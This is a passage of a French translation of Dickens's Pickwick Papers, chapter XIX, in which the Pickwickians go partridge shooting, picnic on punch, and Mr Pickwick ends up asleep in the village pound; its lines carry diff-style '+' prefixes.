+vieux garçons qui ont l'air si sage. Quoique ça, je n'aurais pas cru ça
+de lui, je n'aurais pas cru ça de lui!» Tout en moralisant de la sorte,
+M. Weller était arrivé au bureau des voitures.
+
+
+
+
+CHAPITRE XIX.
+
+Un jour heureux, terminé malheureusement.
+
+
+Les oiseaux saluèrent la matinée du 1er septembre 1831 comme l'une des
+plus agréables de la saison, car ils ignoraient, heureusement pour la
+paix de leur coeur, les immenses préparatifs qu'on faisait pour les
+exterminer. Plus d'une jeune perdrix, qui trottait complaisamment dans
+les prés, avec toute la gracieuse coquetterie de la jeunesse; et plus
+d'une mère perdrix, qui, de son petit oeil rond, considérait cette
+légèreté avec l'air dédaigneux d'un oiseau plein d'expérience et de
+sagesse, ignorant également le destin qui les attendait, se baignaient
+dans l'air frais du matin, avec un sentiment de bonheur et de gaieté.
+Quelques heures plus tard, leurs cadavres devaient être étendus sur la
+terre! Mais silence! il est temps de terminer cette tirade, car nous
+devenons trop sentimental.
+
+Donc, pour parler d'une manière simple et pratique, c'était une belle
+matinée, si belle qu'on aurait eu peine à croire que les mois rapides
+d'un été anglais étaient déjà presque écoulés. Les haies, les champs,
+les arbres, les coteaux, les marais, se paraient de mille teintes
+variées. A peine une feuille tombée, à peine une nuance de jaune mêlée
+aux couleurs du printemps, vous avertissaient que l'automne allait
+commencer. Le ciel était sans nuage; le soleil s'était levé, chaud et
+brillant; l'air retentissait du chant des oiseaux et du bourdonnement
+des insectes; les jardins étaient remplis de fleurs odorantes, qui
+étincelaient sous la rosée comme des lits de joyaux éblouissants; toutes
+choses enfin portaient la marque de l'été, et pas une de ses beautés ne
+s'était encore effacée.
+
+Malgré le charme de la saison, M. Snodgrass ayant préféré demeurer au
+logis, les trois autres pickwickiens montèrent dans une voiture
+découverte avec M. Wardle et M. Trundle, tandis que Sam Weller se
+plaçait sur le siége à côté du cocher.
+
+Au bout d'une couple d'heures leur carrosse s'arrêta devant une vieille
+maison, sur le bord de la route. Ils étaient attendus, et trouvèrent à
+la porte, outre deux chiens d'arrêt, un garde-chasse, grand et sec, avec
+un enfant, dont les jambes étaient couvertes de guêtres de cuir. L'un et
+l'autre portaient une carnassière d'une vaste dimension.
+
+«Dites-moi donc, murmura M. Winkle à M. Wardle, pendant qu'on abaissait
+le marchepied. Est-ce qu'ils supposent que nous allons tuer du gibier
+plein ces deux sacs-là.
+
+--Plein ces deux sacs! s'écria le vieux Wardle. Que Dieu vous bénisse!
+vous en remplirez un et moi l'autre, et quand ils seront pleins, les
+poches de nos vestes en tiendront encore autant.»
+
+M. Winkle descendit sans rien répondre; mais il ne put s'empêcher de
+penser que s'ils devaient tous rester en plein air jusqu'à ce qu'il eût
+rempli un de ces sacs, ses amis et lui couraient un danger assez
+considérable d'attraper des fraîcheurs et des rhumatismes.
+
+«Hi! Junon, hi! vieille fille! A bas, Deph! à bas! dit M. Wardle en
+caressant les chiens. Sir Geoffrey est encore en Écosse, Martin?»
+
+Le grand garde-chasse répondit affirmativement, en promenant des regards
+surpris de M. Winkle, qui tenait son fusil comme s'il avait voulu que sa
+veste lui épargnât la peine de tirer la gâchette, à M. Tupman, qui
+portait le sien comme s'il en avait été effrayé; et il y a tout lieu de
+croire qu'il l'était effectivement.
+
+M. Wardle remarqua l'air inquiet du grand garde-chasse, «Mes amis, lui
+dit-il, n'ont pas beaucoup l'habitude de ces sortes de choses. Vous
+savez... ce n'est qu'en forgeant qu'on devient forgeron.... Ils seront
+bons tireurs un de ces jours.... Je demande pardon à mon ami Winkle, il
+a déjà quelque habitude, cependant.»
+
+Pour reconnaître ce compliment, M. Winkle sourit faiblement par-dessus
+sa cravate bleue, et dans sa modeste confusion il se trouva si
+mystérieusement emmêlé avec son fusil, que si celui-ci avait été chargé,
+il se serait infailliblement tué sur la place.
+
+«Il ne faut pas manier votre fusil dans cette imagination ici monsieur,
+quand vous aurez de la charge dedans, dit le grand garde-chasse d'un air
+rechigné; ou je veux être damné si vous ne faites pas de la viande
+froide avec quelqu'un de nous.»
+
+Ainsi admonesté, M. Winkle changea brusquement de position, et dans son
+empressement il amena le canon de son fusil en contact assez intime avec
+la tête de Sam.
+
+«Holà! cria Sam en ramassant son chapeau et en frottant les tempes.
+Holà! monsieur, si vous y allez comme ça, vous remplirez grandement un
+de ces sacs ici, et du premier coup, encore.»
+
+A ces mots le petit garçon aux guêtres de cuir laissa échapper un éclat
+de rire, et s'efforça au même instant de reprendre un air grave, comme
+si ce n'avait pas été lui. M. Winkle fronça le sourcil majestueusement.
+
+«Martin, demanda M. Wardle, où avez-vous dit au garçon de nous retrouver
+avec le goûter?
+
+--Sur le coteau du chêne, monsieur, à midi.
+
+--Est-ce que c'est sur la terre de sir Geoffrey?
+
+--Non, monsieur, c'est tout à côté. C'est sur la terre du capitaine
+Boldwig, mais il ne s'y trouvera personne pour nous déranger, et il y a
+là un joli brin de gazon.
+
+--Très-bien, dit le vieux Wardle. Maintenant, plus tôt nous partirons,
+mieux cela vaudra. Vous nous rejoindrez à midi, Pickwick.»
+
+M. Pickwick désirait voir la chasse, principalement parce qu'il avait
+quelques inquiétudes pour la vie et l'intégrité des membres de M.
+Winkle. D'ailleurs, par une si belle matinée, il était cruel de voir
+partir ses amis et de rester en arrière. C'est donc avec un air fort
+piteux qu'il répondit: «Il le faut bien, je suppose....
+
+--Est-ce que le gentleman ne tire point? demanda le long garde-chasse.
+
+--Non, répondit M. Wardle, et de plus il est boiteux.
+
+--J'aimerais beaucoup à aller avec vous, dit M. Pickwick, beaucoup.»
+
+Il y eut un court silence de commisération. Le petit garçon le rompit en
+disant: «Il y a là, de l'aut' côté de la haie, une brouette. Si le
+domestique du gentleman voulait le brouetter dans le sentier, il
+pourrait venir avec nous, et nous le ferions passer par-dessus les
+barrières, et tout ça.
+
+--Voilà la chose, s'empressa de dire Sam Weller, qui était partie
+intéressée, car il désirait ardemment voir la chasse. Voilà la chose.
+Bien dit, p'tit môme. Je vas l'avoir dans un instant.»
+
+Mais ici une autre difficulté s'éleva. Le grand garde-chasse protesta
+résolument contre l'introduction d'un gentleman brouetté dans une partie
+de chasse, soutenant que c'était une violation flagrante de toutes les
+règles établies et de tous les précédents.
+
+L'objection était forte, mais elle n'était pas insurmontable. On cajola
+le garde-chasse, on lui graissa la patte; lui-même se soulagea le coeur
+en ramollissant la tête inventive du jeune garçon qui avait suggéré
+l'usage de la machine, et enfin la caravane se mit en route. M. Wardle
+et le garde-chasse ouvraient la marche; M. Pickwick, dans sa brouette
+poussée par Sam, formait l'arrière-garde.
+
+«Arrêtez, Sam! cria M. Pickwick lorsqu'ils eurent traversé le premier
+champ.
+
+--Qu'est-ce qu'il y a maintenant? demanda M. Wardle.
+
+--Je ne souffrirai pas que cette brouette avance un pas de plus, déclara
+M. Pickwick d'un air résolu, à moins que Winkle ne porte son fusil d'une
+autre manière.
+
+--Et comment dois-je le porter? dit le misérable Winkle.
+
+--Portez-le avec le canon en bas.
+
+--Cela a l'air si peu chasseur, représenta M. Winkle.
+
+--Je ne me soucie pas si cela a l'air chasseur ou non; mais je n'ai pas
+envie d'être fusillé dans une brouette pour l'amour des apparences.
+
+--Sûr que le gentleman mettra cette charge ici dans le corps de
+quelqu'un, grommela le grand homme.
+
+--Bien! bien! reprit le malheureux Winkle en renversant son fusil; cela
+m'est égal; voilà....
+
+--C'est les concessions mutuelles qui fait le charme de la vie,» fit
+observer Sam, et la caravane se remit en marche.
+
+Elle n'avait point fait cent pas lorsque M. Pickwick cria de nouveau:
+«Arrêtez!
+
+--Qu'est-ce qu'il y a encore? demanda M. Wardle.
+
+--Le fusil de Tupman est aussi dangereux que l'autre; j'en suis sûr.
+
+--Eh quoi? dangereux! s'écria M. Tupman, fort alarmé.
+
+--Dangereux si vous le portez comme cela. Je suis très-fâché de faire de
+nouvelles objections, mais je ne puis consentir à continuer si vous ne
+l'abaissez point comme Winkle.
+
+--J'imagine que vous feriez mieux, monsieur, ajouta le grand
+garde-chasse, autrement vous pourriez mettre votre bourre dans votre
+gilet aussi bien que dans celui des autres.»
+
+M. Tupman, avec l'empressement le plus obligeant, plaça son fusil dans
+la position requise, et le convoi repartit encore, les deux amateurs
+marchant avec leur fusil renversé comme une couple de soldats à des
+funérailles.
+
+Tout d'un coup les chiens s'arrêtèrent, et leurs maîtres en firent
+autant.
+
+«Qu'est-ce qu'ils ont donc dans les jambes? demanda M. Winkle. Comme ils
+ont l'air drôle.
+
+--Chut! répliqua M. Wardle doucement. Ne voyez-vous pas qu'ils arrêtent!
+
+--Ils s'arrêtent! répéta M. Winkle en regardant tout autour de lui,
+comme pour chercher la cause qui avait interrompu leur progrès. Pourquoi
+s'arrêtent-ils?
+
+--Attention! murmura M. Wardle, qui, dans l'intérêt du moment, n'avait
+pas entendu cette question. Allons maintenant.»
+
+Un violent battement d'ailes se fit entendre si soudainement que M.
+Winkle en recula comme si lui-même avait été tiré. Pan! pan! deux coups
+de fusil retentirent, et la fumée s'éleva tranquillement dans l'air en
+décrivant des courbes gracieuses.
+
+«Où sont-elles? s'écria M. Winkle dans le plus grand enthousiasme et se
+retournant dans toutes les directions. Où sont elles? Dites-moi quand il
+faudra faire feu! Où sont-elles? où sont-elles?
+
+--Ma foi! les voilà, dit M. Wardle en ramassant deux perdrix que les
+chiens avaient déposées à ses pieds.
+
+--Non! non! je veux dire les autres! reprit M. Winkle encore tout
+effaré.
+
+--Assez loin, à présent, si elles courent toujours, répliqua froidement
+M. Wardle en rechargeant son fusil.
+
+--J'imagine que nous en trouverons une autre compagnie dans cinq
+minutes, observa le grand garde-chasse. Si le gentleman commence à tirer
+maintenant, son plomb sortira peut-être du canon quand nous les ferons
+lever.
+
+--Ah! ah! ah! fit M. Weller.
+
+--Sam! dit M. Pickwick, touché de la confusion de son disciple.
+
+--Monsieur?
+
+--Ne riez pas.
+
+--Très-bien, monsieur,» répondit Sam. Mais en guise d'indemnité il se
+mit à contourner ses traits, derrière la brouette, pour l'amusement
+exclusif du jeune Bas de cuir. L'innocent jeune homme laissa éclater un
+bruyant ricanement, et fut sommairement calotté par le grand
+garde-chasse, qui avait besoin d'un prétexte pour se détourner et cacher
+sa propre envie de rire.
+
+Peu de temps après M. Wardle dit à M. Tupman: «Bravo! camarade. Vous
+avez au moins tiré à temps cette fois-là.
+
+--Oui, répliqua M. Tupman avec un sentiment d'orgueil, j'ai lâché mon
+coup.
+
+--A merveille! vous abattrez quelque chose la première fois, si vous
+regardez bien. C'est très-aisé, n'est-ce pas?
+
+--Oui, c'est très-aisé. Mais malgré cela, comme ça vous abîme l'épaule!
+J'ai presque cru que j'en tomberais à la renverse. Je n'imaginais pas
+que des petites armes à feu comme cela repoussaient tant.
+
+--Oh! dit le vieux gentleman en souriant, vous vous y habituerez avec le
+temps. Maintenant, sommes-nous prêts? Tout va-t-il bien là-bas, dans la
+brouette?
+
+--Tout va bien, monsieur, répliqua Sam.
+
+--En route donc.
+
+--Tenez ferme, monsieur, dit Sam en levant la brouette.
+
+--Oui, oui, repartit M. Pickwick;» et ils cheminèrent aussi vite que
+besoin était.
+
+«Maintenant, dit M. Wardle, après que la brouette eût été passée
+par-dessus une barrière, et lorsque M. Pickwick y fut déposé de nouveau.
+Maintenant, tenez cette brouette en arrière.
+
+--Bien, monsieur, répondit Sam en s'arrêtant.
+
+--A présent, Winkle, continua le vieux gentleman, suivez-moi doucement
+et ne soyez pas en retard, cette fois-ci.
+
+--N'ayez pas peur, dit M. Winkle. Arrêtent-ils?
+
+--Non! non! pas encore. Du silence, maintenant, du silence!»
+
+Et en effet ils s'avançaient silencieusement, lorsque M. Winkle, voulant
+exécuter une évolution fort délicate avec son fusil, le fit partir par
+accident, au moment critique, et envoya sa charge juste au-dessus de la
+tête du petit garçon, et à l'endroit précis où aurait été la cervelle du
+grand homme s'il s'était trouvé là au lieu de son jeune substitut.
+
+«Au nom du ciel, pourquoi avez-vous fait feu? demanda M. Wardle,
+pendant que les oiseaux s'envolaient en toute sûreté.
+
+--Je n'ai jamais vu un fusil comme cela dans toute ma vie, répondit le
+pauvre Winkle en regardant la batterie, comme si cela avait pu remédier
+à quelque chose. Il part de lui-même, il veut partir bon gré mal gré.
+
+--Ah! il veut partir! répéta M. Wardle avec un peu d'irritation. Plût au
+ciel qu'il voulût aussi tuer quelque chose!
+
+--Il le fera avant peu, monsieur, dit le grand garde-chasse.
+
+--Qu'est-ce que vous entendez par cette observation, monsieur? demanda
+aigrement M. Winkle.
+
+--Rien du tout, monsieur, rien du tout. Moi, je n'ai pas de famille, et
+la mère de ce garçon ici aura quelque chose de sir Geoffrey, si le
+moutard est tué sur ses terres. Rechargez, monsieur, rechargez votre
+arme.
+
+--Otez-lui son fusil! s'écria de sa brouette M. Pickwick, frappé
+d'horreur par les sombres insinuations du grand homme. Otez-lui son
+fusil! M'entendez-vous, quelqu'un!»
+
+Personne cependant ne s'offrit pour exécuter ce commandement, et M.
+Winkle, après avoir lancé un regard de rébellion au philosophe,
+rechargea son fusil et marcha en avant avec les autres chasseurs.
+
+Nous sommes obligé de dire, d'après l'autorité de M. Pickwick, que la
+manière de procéder de M. Tupman paraissait beaucoup plus prudente et
+plus rationnelle que celle adoptée par M. Winkle. Cependant ceci ne doit
+en aucune manière diminuer la grande autorité de ce dernier dans tous
+les exercices corporels; car, depuis un temps immémorial, comme
+l'observe admirablement M. Pickwick, beaucoup de philosophes, et des
+meilleurs, qui ont été de parfaites lumières pour les sciences, en
+matière de théorie, n'ont jamais pu parvenir à faire quelque chose dans
+la pratique.
+
+Comme la plupart des plus sublimes découvertes, la manière d'agir de M.
+Tupman paraissait extrêmement simple. Avec la pénétration intuitive d'un
+homme de génie, il avait remarqué, du premier coup, que les deux grands
+points à obtenir étaient: 1° de décharger son fusil sans se nuire; 2° de
+le décharger sans endommager les assistants. Donc et évidemment,
+lorsqu'on était parvenu à surmonter la difficulté de faire feu, la
+meilleure chose était de fermer les yeux solidement et de tirer en
+l'air. Q.E.D.
+
+Une fois, après avoir exécuté ce tour de force, M. Tupman, en rouvrant
+les yeux, vit une grosse perdrix qui tombait blessée sur la terre. Il
+allait congratuler M. Wardle sur ses invariables succès, quand celui-ci
+s'avança vers lui et lui serrant chaudement la main:
+
+«Tupman, vous avez choisi cette perdrix-là parmi les autres?
+
+--Non! non!
+
+--Si, je l'ai remarqué. Je vous ai vu la choisir. J'ai observé comment
+vous leviez votre fusil pour l'ajuster; et je dirai ceci: que le
+meilleur tireur du monde n'aurait pas pu l'abattre plus admirablement.
+Vous êtes moins novice que je ne le croyais, Tupman: vous avez déjà
+chassé?»
+
+Vainement M. Tupman protesta, avec un sourire de modestie, que cela ne
+lui était jamais arrivé. Son sourire même fut regardé comme une preuve
+du contraire, et depuis cette époque sa réputation fut établie. Ce n'est
+pas la seule réputation qui ait été acquise aussi aisément, et l'on peut
+admirer les effets heureux du hasard ailleurs que dans la chasse aux
+perdrix.
+
+Pendant ce temps, M. Winkle s'environnait de feu, de bruit et de fumée,
+sans produire aucun résultat positif digne d'être noté. Quelquefois il
+envoyait sa charge au milieu des airs; quelquefois il lui faisait raser
+la surface du globe, de manière à rendre excessivement précaire
+l'existence des deux chiens. Sa manière de tirer, considérée comme une
+oeuvre d'imagination et de fantaisie, était extrêmement curieuse et
+variée; mais matériellement et quant au produit réel, c'était peut-être,
+au total, un non-succès. C'est un axiome établi que _chaque boulet a son
+adresse_; si on peut l'appliquer également à des grains de petit plomb,
+ceux de M. Winkle étaient de malheureux bâtards, privés de leurs droits
+naturels, jetés au hasard dans le monde, et qui n'étaient adressés nulle
+part.
+
+«Eh bien! dit M. Wardle en s'approchant de la brouette et en essuyant la
+sueur de son visage joyeux et rougeaud; une journée un peu chaude, hein?
+
+--C'est vrai, répondit M. Pickwick. Le soleil est effroyablement
+brûlant, même pour moi. Je ne sais pas comment vous devez le trouver.
+
+--Ma foi! pas mal chaud, mais c'est égal. Il est midi passé; voyez-vous
+ce coteau vert, là?
+
+--Certainement.
+
+--C'est l'endroit où nous devons déjeuner. De par Jupiter! le gamin y
+est déjà avec son panier. Exact comme une horloge!
+
+--Je le vois, dit M. Pickwick, dont le visage devint rayonnant. Un bon
+garçon! je lui donnerai un shilling pour sa peine. Allons! Sam,
+roulez-moi.
+
+--Tenez-vous ferme, monsieur, répliqua Sam, ravigoté par l'apparition du
+déjeuner. Gare de là, jeune cuirassier! Si vous appréciez ma précieuse
+vie, ne me versez pas, comme dit le gentleman au charretier qui le
+conduisait à la potence.» Avec cette heureuse citation, Sam partit au
+pas de charge, brouetta habilement son maître jusqu'au sommet du coteau
+vert, et le déchargea, avec adresse, à côté du panier de provision,
+qu'il se mit à dépaqueter sans perdre une minute.
+
+--Pâté de veau, disait Sam, tout en arrangeant les comestibles sur le
+gazon. Très-bonne chose, le pâté de veau, quand vous connaissez la lady
+qui l'a fait et que vous êtes sûr que ce n'est pas du minet. Et après
+tout, qu'est-ce que ça fait encore, puisqu'il ressemble si bien au veau
+que les pâtissiers eux-mêmes n'en font pas la différence?
+
+--Ils n'en font pas la différence, Sam?
+
+--Non, monsieur, repartit Sam en touchant son chapeau. J'ai logé dans la
+même maison avec un vendeur de pâtés, une fois, et un homme bien
+agréable, monsieur, et pas bête du tout. Il savait faire des pâtés,
+n'importe avec quoi. Voilà que je lui dis, quand j'ai été amical avec
+lui: Quel troupeau de chats que vous avez-là! monsieur Brook.--Ah!
+dit-il, c'est vrai, j'en ai beaucoup, qu'il dit.--Faut que vous aimiez
+bien les chats, que je dis.--Oui, dit-il, en clignant de l'oeil, y a des
+gens qui les aiment. Malgré ça, qu'il me dit, c'est pas encore leur
+saison, faut attendre l'hiver.--C'est pas leur saison?--Non, dit-il.
+Quand le fruit mûrit, le chat maigrit.--Qu'est-ce que vous me
+chantez-là? J'y entends rien, que je dis.--Voyez-vous, dit-il, je ne
+veux pas entrer dans la coalition des bouchers pour augmenter la viande
+au pauvre monde. Mossieu Weller, qu'il me dit, en me serrant la main
+gentiment et en me soufflant dans l'oreille; mossieu Weller, qu'il me
+dit, ne répétez pas ça; mais c'est l'assaisonnement qui fait tout: ils
+sont tous faits avec ces nobles animaux ici, dit-il, en m'indiquant un
+joli petit minet. Et je les assaisonne en beefteak, en veau, en rognon,
+au goût de la pratique. Et mieux que ça, qu'il dit, je peux faire du
+beefteak avec du veau ou du rognon avec du beefteak, ou du mouton avec
+les deux, en prévenant trois minutes d'avance, selon les besoins du
+marché ou l'appétit public, qu'il me dit.
+
+--Ce devait être un jeune homme fort ingénieux, dit M. Pickwick avec un
+léger frisson.
+
+--Je crois bien, monsieur, et ses pâtés étaient superbes, répliqua Sam
+en continuant de vider le panier. Langue; bien ça. C'est une très-bonne
+chose, quand c'est pas une langue de femme. Pain, jambon, frais comme
+une peinture. Boeuf froid en tranches. Très-bon. Qu'est-ce qu'il y a dans
+ces cruches-là, jeune évaporé?
+
+--De la bière dans stelle-ci et du punch froid dans stelle-là, répondit
+le jeune paysan en ôtant de dessus ses épaules deux vastes bouteilles de
+grès, attachées ensemble par une courroie.
+
+--Et v'là un petit goûter bien organisé, reprit Sam en examinant avec
+grande satisfaction les préparatifs. Et maintenant, gentlemen,
+commencez, comme les Anglais dirent aux Français, en mettant leurs
+baïonnettes.»
+
+Il ne fallut pas une seconde invitation pour engager la société à rendre
+pleine justice au repas, et il ne fallut pas plus d'instances pour
+décider Sam, le grand garde-chasse et les deux gamins à s'asseoir sur
+l'herbe, à une petite distance, et à battre en brèche une proportion
+décente de la victuaille. Un vieux chêne accordait son agréable ombrage
+aux deux groupes de convives, tandis que devant eux se déroulait un
+superbe paysage, entrecoupé de haies verdoyantes et richement orné de
+bois.
+
+«Ceci est délicieux! tout à fait délicieux! s'écria M. Pickwick, avec un
+visage rayonnant, dont la peau pelait rapidement sous l'influence
+brûlante du soleil.
+
+--Oui vraiment, vieux camarade, répliqua M. Wardle, allons, un verre de
+punch?
+
+--Avec grand plaisir, répondit M. Pickwick; et l'expression radieuse de
+sa physionomie, après qu'il eût bu, témoigna de la sincérité de ses
+paroles.
+
+--Bon! dit le philosophe en faisant claquer ses lèvres; très-bon! J'en
+vais prendre un autre verre. Frais! très-frais!... Allons! messieurs,
+poursuivit-il sans lâcher la bouteille, un toast! Nos amis de
+Dingley-Dell!»
+
+Le toast fut bu avec de bruyantes acclamations.
+
+«Je vais vous apprendre comment je m'y prendrai pour retrouver mon
+adresse à la chasse, dit alors M. Winkle, qui mangeait du pain et du
+jambon avec un couteau de poche. Je mettrai une perdrix empaillée sur
+un poteau, et je m'exercerai à tirer dessus, en commençant à une petite
+distance, et en reculant par degrés. C'est un excellent moyen.
+
+--Monsieur, dit Sam, je connais un gentleman qui a fait ça et qui a
+commencé à quatre pieds; mais il n'a jamais continué, car du premier
+coup il avait si bien ajusté son oiseau que le diable m'emporte si on en
+a jamais revu une plume depuis.
+
+--Sam! dit M. Pickwick.
+
+--Monsieur?
+
+--Ayez la bonté de garder vos anecdotes jusqu'à ce qu'on vous les
+demande.
+
+--Certainement, monsieur.»
+
+Sam se tut, mais il cligna si facétieusement l'oeil qui n'était point
+caché par le pot de bière dont il humectait ses lèvres, que les deux
+petits paysans tombèrent dans des convulsions spontanées, et que le
+grand garde-chasse, lui-même, condescendit à sourire.
+
+«Voilà, ma foi, d'excellent punch froid, dit M. Pickwick en regardant
+avec tendresse la bouteille de grès; et le jour est extrêmement chaud,
+et... Tupman, mon cher ami, un verre de punch?
+
+--Très-volontiers,» répliqua M. Tupman.
+
+Après avoir bu ce verre, M. Pickwick en prit un autre, seulement pour
+voir s'il n'y avait pas de pelure d'orange dans le punch, parce que la
+pelure d'orange lui faisait toujours mal. S'étant convaincu qu'il n'y en
+avait point, M. Pickwick but un autre verre à la santé de M. Snodgrass;
+puis il se crut obligé, en conscience, de proposer un toast en l'honneur
+du fabricant de punch anonyme.
+
+Cette constante succession de verres de punch produisit un effet
+remarquable sur notre sage. Sa physionomie resplendissait de la plus
+douce gaieté; le sourire se jouait sur ses lèvres; la bonne humeur la
+plus franche étincelait dans ses yeux. Cédant, par degrés, à l'influence
+combinée de ce liquide excitant et de la chaleur, il exprima un violent
+désir de se rappeler une chanson qu'il avait entendue dans son enfance;
+mais ses efforts furent inutiles. Il voulut stimuler sa mémoire par un
+autre verre de punch, qui malheureusement parut produire sur lui un
+effet entièrement opposé; car, non content d'avoir oublié la chanson, il
+finit par ne plus pouvoir articuler une seule parole. Ce fut donc en
+vain qu'il se leva sur ses jambes pour adresser à la compagnie un
+éloquent discours, il retomba dans la brouette et s'endormit presque au
+même instant.
+
+Le panier fut rempaqueté, mais on trouva qu'il était tout à fait
+impossible de réveiller M. Pickwick de sa torpeur. On discuta s'il
+fallait que Sam recommençât à le brouetter ou s'il valait mieux le
+laisser où il était, jusqu'au retour de ses amis. Ce dernier parti fut
+adopté à la fin, et comme leur expédition ne devait pas durer plus d'une
+heure, comme Sam demandait avec instance à les accompagner, ils se
+décidèrent à abandonner M. Pickwick endormi dans sa brouette et à le
+prendre au retour. La compagnie s'éloigna donc, laissant notre
+philosophe ronfler harmonieusement et paisiblement, à l'ombre antique du
+vieux chêne.
+
+On peut affirmer avec certitude que M. Pickwick eût continué de ronfler
+à l'ombre du vieux chêne jusqu'au retour de ses amis, ou, à leur défaut,
+jusqu'au subséquent lever de soleil, s'il lui avait été permis de rester
+en paix dans sa brouette; mais cela ne lui fut pas permis, et voici
+pourquoi.
+
+Le capitaine Boldwig était un petit homme violent, vêtu d'une redingote
+bleue soigneusement boutonnée jusqu'au menton et surmontée d'un col noir
+bien roide. Lorsqu'il daignait se promener sur sa propriété, il le
+faisait en compagnie d'un gros rotin plombé, d'un jardinier et d'un
+aide-jardinier, qui luttaient d'humilité en recevant les ordres qu'il
+leur donnait avec toute la grandeur et toute la sévérité convenables:
+car la soeur de la femme du capitaine avait épousé un marquis; et la
+maison du capitaine était une _villa_, et sa propriété une _terre_; et
+tout était chez lui très-haut, très-puissant et très-noble.
+
+M. Pickwick avait à peine dormi une demi-heure lorsque le petit
+capitaine, suivi de son escorte, arriva en faisant des enjambées aussi
+grandes que le lui permettaient sa taille et son importance. Quand il
+fut auprès du vieux chêne, il s'arrêta, il enfla ses joues et en chassa
+l'air avec noblesse; il regarda le paysage comme s'il eût pensé que le
+paysage devait être singulièrement flatté d'être regardé par lui; et
+enfin, ayant emphatiquement frappé la terre de son rotin, il convoqua le
+chef jardinier.
+
+--Hunt! dit le capitaine Boldwig.
+
+--Oui, monsieur, répondit le jardinier.
+
+--Cylindrez le gazon de cet endroit demain matin. Entendez-vous, Hunt?
+
+--Oui, monsieur.
+
+--Et prenez soin de me tenir cet endroit proprement. Entendez-vous,
+Hunt?
+
+--Oui, monsieur.
+
+--Et faites-moi penser à faire mettre un écriteau menaçant de pièges à
+loup, de chausse-trapes et tout cela, pour les petites gens qui se
+permettront de se promener sur mes terres. Entendez-vous, Hunt?
+entendez-vous?
+
+--Je ne l'oublierai pas, monsieur.
+
+--Pardon, excuse, monsieur, dit l'autre jardinier en s'avançant avec son
+chapeau à la main.
+
+--Eh bien! Wilkins, qu'est-ce qui vous prend?
+
+--Pardon, excuse, monsieur, mais je pense qu'il y a des gens qui sont
+entrés ici aujourd'hui.
+
+--Ha! fit le capitaine en jetant autour de lui un regard farouche.
+
+--Oui, monsieur, ils ont dîné ici, comme je pense.
+
+--Damnation! c'est vrai, dit le capitaine en voyant les croûtes de pain
+étendues sur le gazon; ils ont véritablement dévoré leur nourriture sur
+ma terre. Ha! les vagabonds! si je les tenais ici!... dit le capitaine
+en serrant son gros rotin.
+
+--Pardon, excuse, monsieur, mais....
+
+--Mais quoi, eh? vociféra le capitaine; et suivant le timide regard de
+Wilkins, ses yeux rencontrèrent la brouette et M. Pickwick.
+
+--Qui es-tu, coquin? cria le capitaine en donnant plusieurs coups de son
+rotin dans les côtes de M. Pickwick. Comment t'appelles-tu?
+
+--Punch! murmura l'homme immortel, et il se rendormit immédiatement.
+
+--Quoi?» demanda le capitaine Boldwig.
+
+Pas de réponse.
+
+«Comment a-t-il dit qu'il s'appelait?
+
+--Punch[23], monsieur, comme je pense.
+
+[Footnote 23: Le polichinelle anglais s'appelle _Punch_.
+
+(_Note du traducteur._)]
+
+--C'est un impudent, un misérable impudent. Il fait semblant de dormir à
+présent, dit le capitaine plein de fureur. Il est soûl, c'est un ivrogne
+plébéien. Emmenez-le, Wilkins, emmenez-le sur-le-champ.
+
+--Où faut-il que je le roule, monsieur, demanda Wilkins avec grande
+timidité.
+
+--Roulez-le à tous les diables.
+
+--Très-bien, monsieur.
+
+--Arrêtez, dit le capitaine.»
+
+Wilkins s'arrêta brusquement.
+
+«Roulez-le dans la fourrière[24], et voyons s'il s'appellera encore
+Punch, quand il se réveillera.... Il ne se _rira_ pas de moi! Il ne se
+_rira_ pas de moi, emmenez-le!»
+
+[Footnote 24: Espèce de parc commun, où l'on met les animaux errants, en
+_fourrière_.
+
+(_Note du traducteur._)]
+
+M. Pickwick fut emmené en conséquence de cet impérieux mandat, et le
+grand capitaine Boldwig, enflé d'indignation, continua sa promenade.
+
+L'étonnement de nos chasseurs fut inexprimable quand ils s'aperçurent, à
+leur retour, que M. Pickwick était disparu et qu'il avait emmené la
+brouette avec lui. C'était la chose la plus mystérieuse et la plus
+inexplicable. Qu'un boiteux se fût tout d'un coup remis sur ses jambes
+et s'en fût allé, c'était déjà passablement extraordinaire: mais qu'en
+manière d'amusement il eût roulé devant lui une pesante brouette, cela
+devenait tout à fait miraculeux. Ses amis cherchèrent aux environs, dans
+tous les coins, sous tous les buissons, en compagnie et séparément; ils
+crièrent, ils sifflèrent, ils rirent, ils appelèrent, et tout cela sans
+aucun résultat: impossible de trouver M. Pickwick. Enfin, après
+plusieurs heures de recherches inutiles, ils arrivèrent à la pénible
+conclusion qu'il fallait s'en retourner sans lui.
+
+Cependant notre philosophe, profondément endormi dans sa brouette, avait
+été roulé et soigneusement déposé dans la fourrière du village, en
+compagnie de divers animaux immondes. Tous les gamins et les trois
+quarts des autres habitants s'étaient rassemblés autour de lui, pour
+attendre qu'il s'éveillât. Si leur satisfaction avait été immense en le
+voyant rouler, elle fut infinie quand, après avoir poussé quelques cris
+indistincts pour appeler Sam, il s'assit dans sa brouette et contempla,
+avec un inexprimable étonnement, les visages joyeux qui l'entouraient.
+
+Des huées générales furent, comme on l'imagine, le signal de son réveil;
+et lorsqu'il demanda machinalement: «Qu'est-ce qu'il y a?» elles
+recommencèrent avec plus de violence, s'il est possible.
+
+«En voilà, une bonne histoire! hurlait la populace.
+
+--Où suis-je? demanda M. Pickwick.
+
+--Dans la fourrière! beugla la canaille.
+
+--Comment sais-je venu ici? Où étais-je? Qu'est-ce que je faisais?
+
+--Boldwig! capitaine Boldwig! vociféra-t-on de toutes parts; et ce fut
+la seule explication.
+
+--Tirez-moi d'ici! cria M, Pickwick. Où est mon domestique? Où sont mes
+amis?
+
+--Vous n'en avez pas des amis! hurrah!» et comme corroboration de ce
+fait, M. Pickwick reçut dans sa brouette un navet, puis une pomme de
+terre, puis un oeuf et quelques autres légers gages de la disposition
+enjouée de la multitude.
+
+Personne ne saurait dire combien cette scène aurait duré, ni combien M.
+Pickwick aurait pu souffrir, si tout à coup un carrosse, qui roulait
+rapidement sur la route, ne s'était pas arrêté en face du parc. Le vieux
+Wardle et Sam Weller en sortirent. En moins de temps qu'il n'en faut
+pour écrire ces mots et peut-être même pour les lire, le premier avait
+dégagé M. Pickwick et l'avait placé dans sa voiture, tandis que le
+second terminait la troisième reprise d'un combat singulier avec le
+bedeau de l'endroit.
+
+«Courez chez le magistrat, crièrent une douzaine de voix.
+
+--Ah! oui, courez-y, dit Sam en sautant sur le siége de la voiture,
+faites-lui mes compliments, les compliments de M. Weller. Dites-lui que
